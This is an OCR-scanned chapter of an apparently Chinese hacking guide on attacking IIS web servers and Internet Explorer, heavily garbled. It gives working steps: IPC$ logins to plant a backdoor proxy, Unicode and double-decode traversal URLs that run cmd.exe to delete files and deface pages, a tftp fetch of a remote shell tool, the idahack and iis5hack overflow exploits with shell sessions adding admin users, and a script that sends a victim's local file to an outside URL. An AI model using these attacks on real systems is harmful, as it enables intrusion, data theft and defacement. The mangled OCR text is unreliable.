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http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp

Internet Explorer 5.01 Service Pack 1 Internet Explorer 5.5 Service Pack
1

Internet Explorer 5.01 Service Pack 2

Internet Explorer 5.5 Ser-
vice Pack 2

1E Service Pack 2 MIME
1 - ——
MIME VB B |BF IR g
ErE it 2 1):
T Es | apes [=]
B BNE  tiokaR HEE |
format deltree fdisk debug move Ly :
command.com cmd.exe 2 |
F o owlard 3FF o
del rmdir rd erase CEves  wCalendar File =
EAVCT  Microsoft Visual FoxPro Z5EE |
“ L " Bat Vbs
Bat Vbs NotePad R e Ty
6-4-10 FFR:  J) EEE BHO. .. [
BRRES LS R
Windows NT Windows 2000 IER 3)
NTFS S
mm | 5o |
6-4-10 VBS
2. EIX
base64
eml -
MIME
IE Internet “ S
6-4-11 =
b
1E eml nws | £
EFHEMGER
L E EENE): |2 - v/ EB®
! ! MIME (m= | mE |
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1E CLASSID 0 CODEBASE

1E6.0

6.5.1 Web

Web HTML

<img src=" javascript:n=1;do{window,open()”"}while(n==1)

width=" 1"> <img src=http:/
/a,width="1" height="900000"> </a></p>
HTML A onmousever =" while(ture)
{window.close("/")}" herf=""
HTML
Internet “ " “ "
6.5.2 chm
.chm .chm
Microsoft .chm Web
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</TITLE>

</HEAD>

<BODY>

IE 5.xjfifF-Javascriptif$hcetonject (VR FEH P
<BR>

<SERIPT>

a=GetObject(d. “\test\\test.txt”, "htmlfile");

/AR, \testitest.bxt

alert(CTAHISERI R, WIEST. T\ TR) O, REAARER IR JARTHIEE

HTML 6-6-19

P X - ed
aEE REO XD FFW FHO

CHTHL> ~
<HEAD>

STITLEY

IE 5.xjfifl — JavaScripti${Getobject()RE A

<STITLE>

</HEAD>

<BODY>

IE 5.xjfiffl — FavaScripti#iGetobjectORE R

<BR>

<SCRIPT>

alit("%‘zg\wmiﬁmjﬁn, NATEST.TRTANHIAD 9T, MRIBZRETER DIty
IR

z:EEE;njlcT%"ﬂ= \Ntest\ytest.txt”, “ntmlfile"); //HEERSCRERY

d, \testitest.txt

setTimeout(“alert(a.body.innerText); =, 2000); //f Rd:\test\test.txtHHIFZ

i;:f:i—msfm:{;:t:::;:::::gﬁ;,g%’;l"t); T 200, windou_open(“http://myurl/nyasppage.asp?content="+a.body.innerText, “blabla™)
</SCE§P"[> = 77/D:/test/test ExtHI 74X F|http://myurl/nyasppage .asptfT
</BobY> SIS i
</HTHL> ~ {/HTHL> v
6-6-18 6-6-19
1E “
§ qgﬁi;
6.6.6 I|E
1ES 1E ActiveX
JavaScript
IE 1E ActiveX JavaScript
6-6-20
Outlook Express “ L " “ " “ "
6-6-21 HTML
ZREE ]
WE G
O #x A
(V] FHEEEM Activel 3¢ T
O = E-E i o w5, sEEEAEE
g Ei—ﬂi ¥ I BRRFESH ©
[ 4T hotiver JHHTIGH [ EREEE A FR B T O
O gERAA R
g 't @ A AR T T AT 00
O 27 EHE SR @) [EmAe ~]
[5) Microzofe S
Br—am v of mesfo o awew
23] B | BRI R RN TR €
EEREYRE =i
EEN®: (22 - & v|[(EE® ‘a% LR e S s e e )
= . sHE . | |
W mE | e |
6-6-20 Active X 6-6-21
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e IS
e CGlI
e FrontPage 2000

e Unicode
e .printer

11S Information Server

Web

Internet
Web )

1S
1S b
Internet
Web

11S Information Server

FTP NNTP SMTP

Web

100% Internet
mE B s
11S
7.1.1 IS
7-1-1
139 1PC$ 2
139

Windows NT\2000



MIME [ msmrsoEAteas | R "

5 | xm
[ BRI (rep AR | Hh
| %
[Unicode WWARSESMSE | S ]
MIME [
LN g ) "
SR
[ ida/. idatgiybes Hmm A B 5 MO | B N
lekm
FrontPage2000 /% B4 & 42 P < ik IL'
ActiveX HimTAAR 52 SR T
i | xm
hetiver 0 [ rinter X W HNR A G 5 T W i | e
ActiveX .
| AIFMIER R MALEADEFAR | B
it

WERIRE S || FImActiveX BT Rem | | FlHAct veX ik
AT || AR R S | | MR TR

7-1-1
7.1.2
1P
1P
telnet

1P 10.0.13.19

1

net use \\10.0.13.19\ ipc$ /user:

7-1-2

tsrnet use SS1B.B.13.19%iped 123789 Auser:administrator

ntim.exe sksockserver.exe
system32
copy ntlm.exe \\10.0.13.19\admin$\system32
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copy sksockserver.exe \\10.0.13.19\admin$\system32

7-1-3
ID:~tools~iis copy ptlm.exe sw18.8.13.19%adnins S\systemn32
2 & £ 4 -
ID:“~toolssiis>copy sksockserver.exe “108.0.13.19%admnin$“system32
E- -
D=“tools>jiis>
7-1-3
ntlm.exe tools NTLM
netsvc.exe s
telnet telnet NTLM telnet

Windows NTLM

3
net time \\10.0.13.19
4
at \\10.0.13.19 11:17 ntlm.exe ntlm.exe 7-1-4
A.13.17 11:17 ntlm.exe
5
at \\10.0.13.19
6 telnet
netsvc telnet \\10.0.13.19 /start, 7-1-5 10.0.13.19 1P
D:~toolssiiz>netsve telnet ~~18.8.13.19 sstart
Service is pending start on ~~1B8.08.13.19%
D:stoolsxiis>
7-1-5 telnet
7
telnet telnet telnet

THH 1

Microsoft (R} 1
H Microsoft Telnet Client
Telnet Client PR = 5.80.99206.1

T4 *CIRL+1"

“oye 7-1-7
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clear text username and password

Microsoft (R> Windows (TM}> Uersion 5.88 (Build 2195>
Welcome to Microsoft Telnet Seruvice

Telnet Server Build 5.88.99281 .1

NTLM Authentication failed due to insufficient credentials. Please login with I

logil administrator
password: oo

netsvc at NT

“ " “ " “©10.0.13.19" 7-1-9

EHTEE L) @'&.

Ef SRR [-]
(=] FovER WORKGROUE

(=) SERVER WORKGROUE

(B SOFTHARE-CAD WORKGROUP

=) STREAN WORKGEOUF %

E s WOREGEOUP =

AfRan: [10.0.13.19

NT

LRI ER AP EA N T EE EERR -
10.0.13.19

LA BT IR PROS RIS, T “T
5E”

#ih0: userfexample. microsoft. com &Y
domainhuzernamea

EERRFPC): Iadministrator

SR8 (p) - I******

@ |

7-1-10
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NTLM

(2> mnm
E [mig [ el (2356 A
1 e i C COUTL oc:
@—_ %Secmlty A F EHgah Bah LocalSy
THIEE BN 1) e ovese B EEM B Lesalsy.
BHEEE #45inple TCP Service Elsh Ba LocalSy. ..
| FAERE B Snart Card b Tah LocalSy
5| et Snart Card Kelper 38... Fah LozalSy. ..
; | B ySmantec Bvend ... Sm... DEEN Hb LocalSy. ..
%) FHER @ Symantec Passwo.. Tah LocalSy. ..
e AETER HSysten Event Ho... BR... E8ah Hah Loesldy. ..
g3 EFIL AR 4 Task Scheduler i BBz Bsh LocalSy
% iig}ﬂfigﬁ SICE/IE NetBI0S ... ... B85 B LocalSy. ..
7 Taleph 7. CBsh Fah LocalSy. ..
'fﬁﬁm ’ %eaim, # cealSy
L HmE o |SnintSraptible.. B Fa LoealSy. ..
o & Egﬁggﬁkﬁ @Utility Manager M Fah LocalSy
e bttt BaWindows Installer H5... Fah LocalSy. ..
N ieatelel @ ¥indows Wanagen.., 3R... BB Bb Lozaldy. ..
i i @tindows Managen. .. & E8sh Fah LocalSy
; Hindows Time Wi Fah LocalSy. ..
%, 15
EF s E S yMorkstation #’ EB=h Bah LocalSy
i s
B sy=ten q -
[ I \
7-1-11
telnet 11s telnet
telnet 10.0.13.19

NTLM

Sksockserver.exe

Sksockserver.exe

S5 Sksockserver.exe K
hacking sniffer
1P
Sksockserver.exe C:\winnt\system32
sksockserver — install, sksockserver, 7-1-12
[C=“WINNT “system322sksockserver —install
Snake SockProxy Service installed.
IC=“WINNT “=ystem32>
7-1-12 sksockserver
-config port
sksockserver — config port 1213 7-1-13

G2 “WINNT ~system32 >sksockserver —config port 1213
The Port value have set to 1213

jC:\HINNT\system32>

7-1-13
1813
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— config starttype
2 7-1-14 2

C:sMWINNT ~syztem32>sksockserver —config starttype 2
The HWew StartTuype have set to 2 — Auto

C:UINNT ~system32>_

|

C:sWINNT “system32>net start
Snake SockProxy Service =

7-1-14

Snake SockProxy Service H

G sWINNT ~system32>

use \\10.0.13.19\ipc$ /delete,

10.0.13.20
sockservercfg.exe
7-1-16
sksockserver
“UP” “ down”
(10)

7-1-15

1PC

sksockserver

sksockserver

sockscap

skserver

ik

skserver

sksockserver - config starttype

7-1-15

skserver
EE

I BEER
FESHeE | Trages Sl |

~EnakeSockServer:
Sequ ‘l IF “ Port ‘l heotive |
o 10.0.13.19 1213 T
1 10.0.13. 20 1213 T
Ir ]} |
[loo sz fiels | @ Efiige Doun |
s | FEX | oM |
Wi | | mE |
7-1-16
7-1-17 “new”

sockscap

P

IEXFLOEE

flurapdTl
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7-1-18 Sockscap

1E QQ CMD
1-1-18 sockscap
1 )
“‘A
11S Log 1P 1P
7 Bynidode
Unicode 11S 4.0/5.0 11
11 Unicode
11S Web IUSR_machinename
Everyone Users Web
Unicode
7.1.2
Sockscap
7.2.1 Unicode
Unicode Unicode
RangeScan
Unicode
1.
4.71 7-2-1
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HRE &

: TELWET | 06T | C6T Rules | sz | Irc | IIs | FIHGER
Bl | T R REC | msc | ewems | ¥
mEEEm 0 ne T — : ;
Y ' Ra ®E | porrs | pors | P2 | swre | e
D% mae 4t =5 ! i a
D& rre E g
O e =81
D38 rroxrEHl
O rown 61 jtz7no.1
O msaL =4l
= O s i =]
O s 4 =
£ EC7 =] 3 MERENS [ rehs
=il e A
[ %4 BOETS
[ PO
SR 1000 MEES HESE EAG T
BFE N E3 i [l SMTE
[5G IMAF
T2 TRT MR o
[——— 1 ®p il Wi HiEE |
7-2-1
u » u " “1rs” 7-2-3
“ " “ " “ Windows NT/2000" “
" “ 118" “Unicode " 7-2-4

el [p1. 128, 10.10
shtiitl: [61. 128 10.50

2 i o R

[0 FrentPage B

O Eidaems it

[0 #EiFRME chnyifher FIBI 14

BARFRSE: [Windows FI/2000 =l
M EREALE [ PIbcta

[ saL ;
[miyi
, s
O« msc
< FLUGIHS -
| EE| [ B o [ e [
—EE
7-2-3 11S 7-2-4 Unicode

®/E |ms  EE |

EFRP TR
I;ram Files‘metleyes\Fluwray 4. T1brute. ult
ERFERTa:
I]J \Program Files\netleyes'\Fluxay 4. T1hbr

7- (R IRR
2.5 o Frogran FilesinettayesiFlucay ¢ 71\351
7-2- sEwEnE: o = (R0
6 Unicode Ed

TCEEERGERT. |10000  =5fb

TCRETIEHERT : |1uuuu =l i
- ] e () o)

7-2-5
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4. 711 Build

3206 (O

E0 KR ER@ TRQ B XFw

O ropa 41

E M SN ~|FEw | & o [E 0% mee E41
l(FEw] = o | o8 et

=

ARE: | o B e ng;;vzm
O Fom E41

ETR O nssaL 4t
ra o O B

O srre 41

=]

B

E

TN

[ MEHHRRE 19952003 MEHER HRHE

IR

[E T

—F—— | i

000/050 TRIGEE

(|

2. RangeScan

RangeScan

RangeScan Unicode Ran
RangeScan Unicode

RangeScan vO0. 6

RangScan

geScan v0. 6

Fron:[51. 52 [ to: o1 52, [ ﬂfj hE 1P
IHEHE BRE
- Bt - iR
i [eET +| #w0:[s0 x # EEE i e
~iHERE
J'
Feeripts/. %el¥lc.  fwinmt/system3:
< | |
T smme | s ose | omE | Ed)
7-2-7 RangeScan
Unicode “ 1P " “
“ 1P " 1P “ From ” 61.52.X.1
61.52.X.255
Windows 2000 Unicode

/scripts/..%cl%lc../winnt/system32 /cmd.exe
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Windows 2000 Unicode
/scripts/. .%c0%af../winnt/system32 /cmd.exe
3
Windows NT4 Unicode
/scripts/..%cl%9c../winnt/system32/cmd.exe

&l RangeScan vi. 6

@ helkhlc —3FEI PN

Windows 2000 %cO%af Win- From:[51. 52. NI to: [61.52. 1 N Wj HE 1P
dows 2000 Hcl%9c WINNT4 ————— |
B R
i ]GET vl *u.ﬁl:l:]ao * #l | SRR
51,52 Jseripts/. %255c. . %2S5cwinn
. i NS
| ol
11S freriptsf. %el¥le . fwinnt/system3:
&l ] w3
= F | #x=m#ms [ =8 | st | ®= | Ed
« " |
7-2-8 Unicode 7-2-8 IP
IP 61.52.X.X http://61.52.X.X/scripts/

.. %cO0%af../winnt/system32/cmd.exe?/c+dir

Directory of c:\
2003-11-19 03:47p 289 default.asp
2003-09-11 03:47p 289 default.htm
2003-08-09 04:35p DIR> Documents and Settings
2003-09-11 03:47p 289 index.asp
2003-09-11 03:47p 289 index.htm
2003-08-08 05:19a DIR> Inetpub
2003-10-19 10:37p DIR> MSSQL7
2003-10-09 04:22p DIR> Program Files
2003-10-23 06:21p DIR> WINNT
4 File(s) 1,156 bytes
5 Dir(s) 2,461,421,561 bytes free

C

%hcO%af B dir /
7.2.2 Unicode
7.2.1 Unicode 1P 1P 61.52.142.40
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/scripts/..%255c..%255cwinnt/system32/cmd.exe 1E
http://61.52.142.40/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir

7-2-9 1P 61.52.142.40 Scripts
Hck @) |@ hitp://B1.52.142 40 seripts/. . %$255¢. . %255 cwinnt/system3Zfend. exe?/ctdir ¥
Directory of d:\inetpub’\scriptz
2003-11-12 04:37 <DIE>
2003-11-12  04:37 <DIER> %
2003-11-01  04:37 70 ab
2003-05-15 13:20 206, T20 cwbug. exe
2003-03-22 10:15 16, 804 idq.dll
2003-10-09 08:24 56, 000 =b. bat
2003-11-15 08:13 0 TFTP 1016
2003-11-15 08:13 0 TFTP 1100
2003-11-15 08:13 67,344 TFTP 1124
2003-11-156 08:13 57,344 TFTF 1156
&] 5L
7-2-9 Scripts

Scripts d:\inetpub +
dir DOS
Web echo
“ogm gy
1E
http://61.52.142_40/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+d:\inetpub\
7-2-10 D inetpub inetpub
wwwroot
Hitl @
Directory of d:\inetpub
2003-11-12 16:32 <DIR>
20053-11-12  16:32 <DIR> o
2003-11-01 04:37 <DIR> AdminScripts
2003-05-158 13:20 <DIR> iizsmples
2003-03-22 10:18 <DIR> mailroot
2003-10-09 09:24 <DIR> scripts
2003-11-15 23:18 <DIE> e oot
0 File(s) 0 bytes
T Dir (=) 1,857, 048, 576 bytes free
&) Fee
7-2-10 D d:\inetpub
http://X.X.X.X/scripts/..%cO%af../winnt/system32/cmd.exe?/c+dir+d:\inetpub\wwwroot 7-2-11
Btk 0 |
Dirsctory of d:‘inetpublwwwroot
2003-11-12 18:32 <DIR»
2003-11-12 16:32 <DIR> .
2003-11-01 04:37 354 help.gif
2003-06-16 13:20 1,626 iistart.asp
2003-03-22 10:16 6, 666 localstart. asp
2003-10-09 08:24 356 mme. gif
2003-11-16 23:16 4, 886 win2000. g1f
2003-11-16 23:16 1,877 warning. gif
2003-11-15 23:16 1,046 print.gif
2003-11-15 23:15 1,893 web. gif
2003-11-15 23:15 2,896 pagerror.gif
9 File(s) 21,210 bytes
2 Dir(s) 1,857,048, 576 bytes free
B

7-2-11 D d:\inetpub\wwwroot
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d:\inetpub\wwwroot

default.asp default.htm index.asp index.htm

Web

d:\inetpub \wwwroot\index.asp
http://61.52.142.242/scripts/..%c0%af../winnt/system32/attrib.exe?%20-r%20-h%20d:

\inetpub\wwwroot\index.asp

%20 M M

CGl Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The

headers it did return are:

CGl Error

The specified CGI application misbehaved by not returning a complete set of HTTP headers. The
headers it did return are:

Access denied - d:\inetpub\wwwroot\index.asp

d:\inetpub\wwwroot\default.asp
1E
http://61.52_X.X/scripts/..%cl%lc../winnt/system32/cmd.exe?/c+echo+l+love+my+homeland+> d:
\inetpub\wwwroot\default.asp
“1 love my homeland” 7-2-12

THE REE EFQW WEWE TAOQ o w

Q@re- O X @G P frmx @ne @ 3 L
Hi'.ijt@‘ http ff61.52. 147 40/ default. asp V|¥§§J HE® 7 LEBETF -

»

|>

I love my homeland

£

&) ke @ Internet
7-2-12
Unicode 1E
Unicode Hack
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7.2.3 Unicode

Unicode

DOS

http://X_X.X_X/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

c 7-2-13
HidE (@) dirtc: IR
Directory of c:b
2003-11-12 04:37 <DIE>
2003-11-12 04:37 <DIE>
2003-11-01 04:37 T0 ab
2003-06-15 13:20 206, T20 cwbug. exe
2003-03-22 10:15 16,904 idg.d11
2003-10-08 09:24 56, 000 ab. bat
2003-11-15 08:13 0 TFTP 1016
2003-11-15 08:13 0 TFTP 1100
2003-11-15 0O8:13 57,344 TFTF 1124
2003-11-15 08:13 57,344 TFTP 1156
7-2-13 C
Unicode
1.
lucky.txt htm asp bat

http://61.52.142.40/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+type+c:\lucky.txt
7-2-14
HidE ) |

e v | B #m sEE 2 cAnE B -

AR, FWT%. FRASENCERN “1 1« 1 9" FEEERR, BILENTLERTRSBM TR, 4 - ERNERT, RF
H—#E, R, EET. FRAMBEENRR.

VIR L o EmB et 1 04 PRABHMTREIE | 1 0f8d: BMIEIERE RN A~ e REWATE LA, EEEdns
FERIWFIIFEEA, REREES, BT BiRE BEIETEFLHRIEA AERIG. FRTE.

RGBS SRR S 4, SSAANRIRINA S B R T S BET M BRI . TEREETAITIE TaiR IR AR R 8 B, HTERIAR
BAEREENAA THEESEE e FHAR. #B 4 -MTEA 1 0 27 88ANERAERETE. RETEAFHBEEEN E
EH—HREFNELEAZETERERR, AEMEFERENFNELSRTREIEERN. Bith, THHEFETHREL RN
FRESEIRTED-

23 H 138 TEFEE—SFERERTR | 0 S0 MTRREEASETEIT B FEEF LHEET SR,

RREE. EETHRT KRR REAFZAFEREATHTEATH EREIEERNFRARFENEETRE. 2  HRE LA 5
HEF SR, WREAREEE—SFET. 210 (FRicE RER ARENR Mls)

) Internet

7-2-14 lucky . txt

1E lucky.txt
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http://X.X_X.X/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+c:\lucky.txt

http://X.X_X.X/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\lucky.txt

3. copy
lucky. txt luck. txt
http://X.X.X.X/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\lucky.txt luck.txt

4. COPY

c:\lucky copy c:\inetpub\wwwroot
http://X.X.X.X/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+xcopy c:\lucky c:\inetpub\wwwroot

5.
c:\lucky c:\inetpub\wwwroot
http://X.X.X.X/scripts/..%255c. .%255cwinnt/system32/cmd.exe?/c+move c:\lucky c:\inetpub\wwwroot
c:\lucky

6.
c:\inetpub\wwwroot\ “ ht”
http://X.X.X_X/scripts/..%255c..%255cwinnt/system32/find.exe?/n+/v+""+c:\inetpub\wwwroot\ht*_*

7. attrib
attrib
DOS Attrib /? 7-2-15

D:\Documents and Settingswuxinhuaatteib /7

-R1 [+A i —A 1 [+8 | —81 [+H | -H] [[drive:]1 [pathl filenamel [-5 [

ID: “Documents and Settingswuxinhual

7-2-15 Attrib
c:\inetpub\wwwroot index.htm
http://X.X.X.X/scripts/..%255c..%255cwinnt/system32/attrib.exe?c:\inetpub\wwwroot\index.htm
c:\inetpub\wwwroot index.htm
http://X.X.X_X/scripts/..%255c..%255cwinnt/system32/attrib.exe?%20%2br%20%2bh%20c:

\inetpub\wwwroot\index.htm
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“« gop” P

http://X.X.X_X/scripts/..%255c..%255cwinnt/system32/attrib.exe?%20-r%20-h%20c:

\inetpub\wwwroot\index.htm

: :

8
Program Files http://X.X.X.X/scripts/
..%255c. . %255cwinnt/system32/cmd.exe?/c+dir+c:\progra 1

T T

“ g “ %20" & program" “ fileS"

7.2.4 Unicode

tftpd32.exe ncx99.exe

tftpd32 FTP FTP
Server Internet FTP
ncx99 99

tftpd32.exe
FTP

1E
http://61.52.X.X/scripts/..%255c. .%255cwinnt/system32/cmd.exe?/c+tftp -i 127.0.0.1 GET ncx99.exe

c:\\inetpub\\scripts\\xr.exe

127.0.0.1 1P c:\inetpub\scripts\

ncx99.exe Xr.exe

3 1E ncx99.exe

c:\inetpub\scripts\ Xr.exe
Xr.exe ncx99.exe
http://61.52_X.X/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+c:\inetpub\scripts\xr.exe
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telnet X.X.X.X
telnet 61.52.142.40 99 99 ncx99.exe

7.2.5 Unicode

Unicode Ftp Ftp
winnt/sys-
tem32/logfiles\msftpsvcl Ftp Ftp
127.0.0.1 1P

11:49:19 127.0.0.1 [2]JUSER xiaorong 331
11:49:19 127.0.0.1 [2]PASS — 230
11:49:19 127.0.0.1 [2]sent /lucky.txt 226
11:49:19 127.0.0.1 [2]QUIT - 226
1P
winnt\system32\logfiles\w3svcl\ web Unicode
127.0.0.1 1P

11:36:18 127.0.0.1 GET /scripts/..\../winnt/system32/cmd".exe 401
11:36:18 127.0.0.1 GET /scripts/..\../winnt/system32/cmd".exe 200

copy del echo bat
11:37:27 127.0.0.1 GET /scripts/..\../winnt/system32/cmd".exe 401
11:37:27 127.0.0.1 GET /scripts/..\../winnt/system32/cmd".exe 502

Unicode
1.
cmd
Scripts Msadc
NT WINNT lucky

2.

11S 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp

11S 5.0

http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp

% s ®

1S CcGl CcGl Http
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" .exe” “ .com”
CG1 11
CG1 CG1 CG1
1S

7.3.1 IS

A\ %5c 3
%" %25
"5" %35
- %63

(¢)
1"

%255¢c
%%35¢
%%35%63
%25%35%63

A\ “ .. %255¢” ¢ L. %%35¢c”

. H5c¢” 11S
A\ s

TARGET (scripts) windows
http://TARGET/scripts/..%255c. .%255cwinnt/system32/cmd.exe?/c+dir+c:\
1S

http://TARGET/scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+dir+c:\

http://TARGET/scripts/..\. . \winnt/system32/cmd.exe?/c+dir+c:\

C:\
A “ %255c” “ %%35%63" ¢
‘?@ IUSER_machinename
IUSER_machinename Unicode 11S
Guest
7.3.2 1IS
.Windows 2000 11S5.0

1S
CcGl

web

cmd.exe

%25%35%63"
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http://www._microsoft.com/Downloads/Release.asp?ReleaselD=29764

Winnt 11S 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaselD=29787
1 CGI /scripts

2

3 GUEST

i Unicode 11s cGl

B M08 idg

1S 1SAPI .dlls idg.dll Index Server
Internet idg.dll URL

idg.dll Systenm
7.4.1 .idal.idg
1 .ida/.idq 1S

.ida/.idqg
ofscan 11S Remote Overflow Exploit Scanner 1I1S
DOS 7-4-1

7-4-1 iis ofscan
‘?ﬁ 7-4-1 ofscan iis
ofscan /ida [Begin IP] [End IP] 7-4-2

ID:\tools\iis>ofscan sida 61.186.176.10 61.186.177.254

i mET I TR 1.3 Design By:T2FIE
IIS Remote Ouerflow Exploit Scanner 1.83 http://fagdiy.diy.163.com
bl B
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.ida/.idgq 1S
idahack DOS
idahack < IP> <hostport> <hosttype> <shellport>.
hostport 80
shellport

hosttype Windows

‘ Windows <hosttype>
Windows 2000 1
Windows 2000 SP1 2
Windows 2000 SP2 3
Windows 2000 4
Windows 2000 SP1 5
Windows 2000 SP2 6
Windows 2000 7
Windows 2000 SP1 8
Windows 2000 SP2 9
Windows 2000 10
Windows 2000 SP1 11
Windows 2000 SP2 12
WinNT SP5 13
WinNT SP6 14

7-4-3

D:=“toolssiis>idahack 61.186.177.11 86 3 78
index server 2 overflow. writen by sunx
http:s 7w sunx.org

for test only,. dont used to hack,., :p

connecting. ..

kg ¥ )
,,Eﬂdll'.lg === Now you can telnet to 98port
checking. .. Good luck:)

Fail: wnahle to overf low 98

7-4-3 idahack

<hosttype> 3 1 2 3 telnet
1P ofscan ida/idgq idahack
15%~30% ida/idgqg

Service Pack3
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1P telnet 98

NC 7-4-4
D:stoolssiisine —vwu 18.8.14_2A
-
7-4-4 nc
R NC “ , NetCat NC
1/5 10K
idahack Telnet
Pidasidg Unicode idg.dil
idg.dll ispc.exe idg.dll
7.4.2 .idal.idq
1
11S .ida/
.idq

Windows NT 4.0
http://www.microsoft.com/Downloads/Release.asp?ReleaselD=30833
Windows 2000 Professional Server and Advanced Server
http://www.microsoft.com/Downloads/Release.asp?ReleaselD=30800
SP3 SP3
SP4
http://www.microsoft.com/windows2000/downloads/servicepacks/sp4/default.asp

2. .1dq .ida
Internet
7-4-5 g Internet iz LIRS = 5|
| #tw =Ew || ¢ 5 B
(8 y m |
#| [T
[ nternet /2 BIRE gkl TP 355 (EFL)
) : idiveupdate (EFLE)
Hedg EHE o 2L, web 365 (BSLE)
o e BEFF o) BT web 354 (EELE

BB e | [Ewebinct
il JCIRE = Ti==ty

e TUTEIT
FER() L
=EEW »
FlFAE)
SR,

HRAIEE |

7-4-5 Internet
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7-4-6 “

SWwWw Y
. 7-4-7
* nav-center JE#
Internet (RIS |

R
$mintllER T S ERRTR i AR AR .

EREHEm:

Oz -] _#Ee. |

e

PRI Bl LA Heb 7 FIP B ARl

BRI ER 0 1,024 I

—{HEHL nInE AL
FHHEHAIERE Yeb WSATE NINE 25E.,

i @) .. |

THE e | mAw | ®=m |
7-4-6
7-4-8 “ "
idg.dIl ida.dll
. / »
11s

HHEFRE E3

IR R |F£H§#%Fﬁﬁ1ﬁ | #iRiET | R |

V E7F Isarl WARR

- R
FRE | wiairHne =t «
hiw I “WINKT \Sy=tem3Zhwebhits, d11 GET

I tem3241dg.
idg D \WIHNT\Systandzidq, 411 GET,
asp I \WTHHT\Systen32\inetsrvhasp, d11 GET,
cer I AWINKT\Sy=sten32iinetsrviaszp. d11 GET,—
cdx I \WINKT \Systen3Zhinetsrvhasp, d11 GET,
asa I \VHINKT\System32hinetsrvhasp. d11 GET,
htr D WHIHKT \sy=sten3Z\inetsrvhasp. d11 GET, _
a- T AT s G b sy e
o | 4]
g | sEe | #Be |
T m | mEe | mm |
7-4-8

“wWww "

nav-center ({1 www B% FER
T | BR:at | moe i EEdwigEs | BE |
R | R TSAPT THIESE EBF
)i =F5
& e
C 5—ita
47 EE e E] RN
ZHIEE ) I B
| iz a2 ] ~ BEHEwm
I~ T F ERHEE@
r SAm
I BR%®
ERETRE
EREFE M D S &)
bt <Heb EEREM
W ) E = _EEG.. |
EARFEEr @ [§ o ) L)
wmE | mm | wAe | wm |
7-4-7  WWW
.asp .shtm .shtml .stm 4
" 7-4-9

&/ EERHEFT B-amH [ %]

AIHATIME () [D: WINHT\Systen3Zhidg, dl1 P (B). .. |
FRaE E: [ida |
=hiE
O 2EEhTE )
& BBF(L):  [GET, HEAD, POST
v BE=ES |88 3)
v &

= =

7-4-9
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_7.§..pr“ter

11S 5 1SAPI .printer Msw3prt.dll
.printer URL 11S 5.0 Msw3prt.dll Msw3prt.dll
.printer URL “ Host:”
4208 Msw3prt.dll
Web Windows 2000
.printer Windows 2000 Windows 2000+SP1
Internet .printer
7.5.1 [1IS5.0 .printer
7.4.1 ofscan ofscan /pri 1P X-scan
11S .printer
X-scan 7-5-1
“ L " ) 7.5.2 “ "
11S
5 E-Scan w1.3 GUL [ [=1E3]
THw BEW SF@ IAW FHo :
U%‘é‘ (B 8 8 W .= Hetbiosis .
(IR T | siEike | REPCiT
S0L-Serverdd 14
FTR3SOS
T it
=
7-5-1 X-scan 7-5-2 "
“ K " & “ " 1P
7-5-3
8 s EIEIX)
EXVE | RORREE | CHEREE | FRTHEE | ABESE |
LRIEE 2 SENE
Ie=reEE: BANEERNE
|127.0,0,1-127.0.0.1 50
[~ MR BANETISE
10

"»3.33&

| ETHEEE

iIFEﬁﬁﬁnmzm

wE L

THiE

7-5-3
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mote .printer overflow bug ?

: Scanning IIS ¢

bivinntssystemd2 omd. e

idahack 7-5-5

iisbhack 10.0.14.21 80 0 99

DERSA TN ES s5hack ~7

iisS remote .printer overflow. writen by sunx
http: /7 wmm.sunx.org
for test only. dont used to hack. :p

usage: iisbhack <Host> {HostPort> {HostType> {ShellPort>
edition:
edition, spl:
edition:
edition, spi:

japanese editio

Japanese edition, spl:

korea edition:

korea edition, spi:

mexico editio

mexico edition,. spl:

WAl R W N @

7-5-5 iishack
telnet
10.0.14.21 99
systen
7-5-7

IUSRredpp

adminstrator

dir c:\filename .gif /s
C D

d:\inetpub\wwwroot

Web

Scanning IIS remote
Found I1% remote

Found 11S re-
7-5-4
enameé decode hole
sordiprtc i L.,
-printer overf low
.printer overf low bug
7-5-6

ID:~tools~iis>iisShack 18.8.14.21 88 8
iish remote .printer overflow. writen
http: 2uuw . sunx.org
for test only, dont wsed to hack.,

by sunx

p

Mow you can telnet to 99 port
good luck :>

D:~tools>iisl

7-5-6 iisbhack

Microsoft Windows 28088 [UVerzion 5.008.2195
i 1985-1998 Hicrosoft Corp.

"

et
¥

localgroup "administerators" sadd [USEredpp
T A

SInetpubswwwroot>dir default .

& 0 Hf
E=)

21 default.asp
91 =
2.833.387.648

D:\Inetpub™wwroot>echo hacked by Eastdark >>default.asp

D: wInetpubwuwuroot?,

7-5-8

hacked by Eastdark
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IHEE  HERE BEN  deEe TED FEEN ‘\
CRE - = - @D @ 4| Qer mwme 4|

2 ] I@ htkp: i Iscripksick, exe?/c+dir+o:h ‘
Directory of o
cmd.exe telnet
/ 2000-11-27 D09:16 <DIE> ASFRoot
2001-06-01  17:07 <DIE> Documer]
cmd.exe inetpub 2001-06-02  14:52 6 hackedg
. 2001-06-02 14:52 6 hackedp
scripts IE opnne11-97 no.iw nIR Tank Daald
7-5-9 7-5-9 IE
11S5.0 .printer
T, 11S5Exploit
752 nrintar
[ Y " . r.l L BN B S ey |
) EHREFEER B
-printer 80 443 mmmms | mAREET | ST | ERREE |
Windows 2000 7.5.1 V 277 IS8T WAER ©
~ B FT2 R

FRE | A friets [Et<]
Ledx I VWINHT\System32\inetsrvhasp. d11 GET,
. D \WIFNT\Sy=tem32hinetsrvhasp, 411 GET,
Chtr I \WINHT\system3Zhinetsrvhasp. 411 GET,
Lide D: \WINHT\System3Z\inetsrvihttp. .. OFT]

I

I

I

.printer

msw3prt.dll .printer - shtm | HIHNT\System32hinetsrvissin. .. GET,
